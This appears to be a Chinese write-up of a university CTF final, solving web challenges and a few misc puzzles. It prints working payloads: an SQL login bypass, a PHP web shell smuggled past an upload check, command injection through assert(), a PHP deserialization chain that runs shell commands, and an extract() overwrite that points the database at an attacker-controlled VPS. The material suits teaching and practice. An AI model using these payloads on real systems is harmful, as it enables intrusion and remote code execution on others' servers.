湖南省第三届大学生信息安全技能竞赛决赛

写在前面

  今年因为某些特殊的原因没有收到比赛文件,导致比赛没有报上名,所以比赛没有参加,本次比赛所有题目均为赛后复现,在这里特别感谢蝰蛇实验室战队在赛后提供部分比赛题目。

  PS:某些题目因为在比提交Flag后就无法访问了,所以题目可能不完整。

WEB

sqlsql

120.79.241.50:21062

  查看源码,发现需要登陆,首先想到万能密码,但是因为需要绕过正则匹配限制。

<?php

if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    exit;
}

$pattern = '/(\s|UNION|OR|=|TRUE|FALSE|>|<|IS|LIKE|BETWEEN|REGEXP|--|#|!|\^|;|\/|\*|\|)/i';
if (isset($_POST['username']) && isset($_POST['password'])) {

    if (preg_match($pattern, $_POST['username'], $matches)) {
        var_dump($matches);
        exit;
    }
    if (preg_match($pattern, $_POST['password'], $matches)) {
        var_dump($matches);
        exit;
    }

    $pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'root', 'sqlpass');
    $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
    $stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
    $stmt->execute();
    $result = $stmt->fetchAll();
    if (count($result) > 0) {
        if ($result[0]['username'] == 'admin') {
            echo include('flag.php');
        } else {
            echo 'Lo .. Logining as ' .  $result[0]['username'] . '!';
        }
        exit;
    }
    echo 'Failed';
    exit;
}
include "form.php";
?>

  所以根据一番资料查找,发现'-0-'可以代替'or'1绕过。

web1.png

balck black

120.79.241.50:21050

  进去后发现Submit页面下有个图片上传,果断上马,上传截断改后缀为php,返回一个id,然后根据id和后缀去在View中查询图片地址。

QQ%e6%88%aa%e5%9b%be20191216213533.png

  但是上传访问过去连接不上,查看源码发现直接显示。

QQ%e6%88%aa%e5%9b%be20191216213455.png

  稍微改一下就行了。

<script language="php">eval($_POST['test']);</script>

QQ%e6%88%aa%e5%9b%be20191216215319.png

easyphp

120.79.241.50:21108

  原题,直接打。

pyload:' or system('dir') or '1'=='1

参考链接:https://www.52pojie.cn/thread-1067531-1-1.html

<?php 
if (isset($_GET['source'])) {
    highlight_file(__FILE__);
} elseif (isset($_GET['file'])) {
    $file=$_GET['file'];

    if (preg_match('/(f|l|a|g|\.|p|h|p|\/|\$|;|\"|\`|\|)/i',$file)) {
        die('Illegal characters detected');
    }
    
    assert_options(ASSERT_BAIL,1);
    assert("'flag.php'==='$file'");

    echo file_get_contents($file);
} else {
?>
    <form action method="GET">
    <label>Give me a file name:</label>
    <input type="text" name="file" placeholder="flag.php"/>
    <input type="submit" value="Read File" />
    </form>
    <a href="?source">Get the source.</a>
<?php
}
?>

  也是要绕过过滤,所以首先想到用*号去通配,cat *结果发现不行,结果发现flag.php中的几个字母都被匹配了,所以命令中不能含有f、l、a、g、p、h字母,于是乎用more命令就好了。

' or system('more *') or '1'=='1

QQ%e6%88%aa%e5%9b%be20191217102005.png

how to ping

120.79.241.50:21099

  首先看到题目,比较简单的PHP反序列化题目。

<?php

class ping {
    var $ip;
    function __toString(){
    $this->ip=trim($this->ip);
    $substitutions = array(
        '&'  => '',
        ';' => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    $this->ip = str_replace( array_keys( $substitutions ), $substitutions, $this->ip);

        system('ping -c 1'.$this->ip);
    }
}
class info {
    var $file;
    function __wakeup(){
        if(file_exists($this->file)){
            var_dump(filesize($this->file));
        }
    }
}
$O = unserialize($_GET['input']);

show_source(__FILE__);

  反序列化一下,找到了flag文件地址为flag_a6s7d8f9.php,最终的payload为

O:4:"info":1:{s:4:"file";O:4:"ping":1:{s:2:"ip";s:31:"127.0.0.1
cat flag_a6s7d8f9.php";}}

  注意在127.0.0.1与cat命令中间是%0a换行符

http://120.79.241.50:21099/?input=O%3a4%3a%22info%22%3a1%3a%7bs%3a4%3a%22file%22%3bO%3a4%3a%22ping%22%3a1%3a%7bs%3a2%3a%22ip%22%3bs%3a31%3a%22127.0.0.1%0acat+flag_a6s7d8f9.php%22%3b%7d%7d

QQ%e6%88%aa%e5%9b%be20191217103413.png

hnweb2

120.79.241.50:21082

  开局一个框,后续全靠猜,首先猜可能是注入,所以马上fuzz了一下,发现输入其他字符的时候会出现Wrong pass, Try harder!!!但是当输入admin的时候提示Flag is not in the database那么说明这道题不是注入。

QQ%e6%88%aa%e5%9b%be20191217103603.png

  扫了一下目录,发现了www.tar.gz,下载后得到源码。

<!DOCTYPE html>
<head><title>Open your mind</title></head>
<body><h3>Open Your Mind by Hammer!!!</h3>
<?php
    $db = 
        array(
            "host" => "127.0.0.1",
            "dbuser" => "yummy",
            "dbpass" => "whoami@_@",
            "dbname" => "yummy"
        );
    extract($_POST);
    if(isset($password)) {
        $connection = new mysqli($db['host'], $db['dbuser'], $db['dbpass'], $db['dbname']);
        if($connection->connect_error) {
            die("Oops!");
        }
        $sql = 'select password from users where id = 1;';
        $result = $connection->query($sql);
        $row = $result->fetch_row();
        if($password === $row[0]) {
            $sql = 'select code from action where id = 1;';
            $code_result = $connection->query($sql);
            $code_row = $code_result->fetch_row();
            echo @eval(base64_decode($code_row[0]));
        }
        else echo '<h4>Wrong pass, Try harder!!!</h4>';
    }
    else {
        echo '<form action="index.php" method="POST">';
        echo 'password:<input type="password" name="password" /><br />';
        echo '<input type="submit" value="登录" />';
        echo '</form>';
    }
?>
</body>

  随便扫一眼,看到extract($_POST);就要想到覆盖变量,老掉牙的套路了。监听vps并构造request包,发现目录下有9864669a1988169c5f9552f1bec73428.txt文件,访问即可得到flag。

POST /index.php HTTP/1.1
Host: 120.79.241.50:21082
Content-Length: 143
Content-Type: application/x-www-form-urlencoded
Connection: close

password=123456&db[host]=[vpsip]&db[dbuser]=yummy&db[dbpass]=yummy&db[dbname]=yummy&1=system('ls');

QQ%e6%88%aa%e5%9b%be20191217112052.png

MISC

Welcome

  解压得到一个条形码,直接在线识别就好了。

Welcome_.png

QQ%e6%88%aa%e5%9b%be20191217112707.png

灯下黑

  下载压缩包后得到一张图片,binwalk解压后得到50张二维码,简单分辨后发现第50张与其他的明显不一样(不要问,问就是直觉),果然就很轻松的找到了flag。

QQ%e6%88%aa%e5%9b%be20191217113303.png

QQ%e6%88%aa%e5%9b%be20191217113646.png

Find me

  下载下来解压发现是是俄罗斯套娃,有丶意思了,第一张的图片高度明显有问题,于是我们就尝试恢复一下原始高度。

QQ%e6%88%aa%e5%9b%be20191217113942.png

QQ%e6%88%aa%e5%9b%be20191217115551.png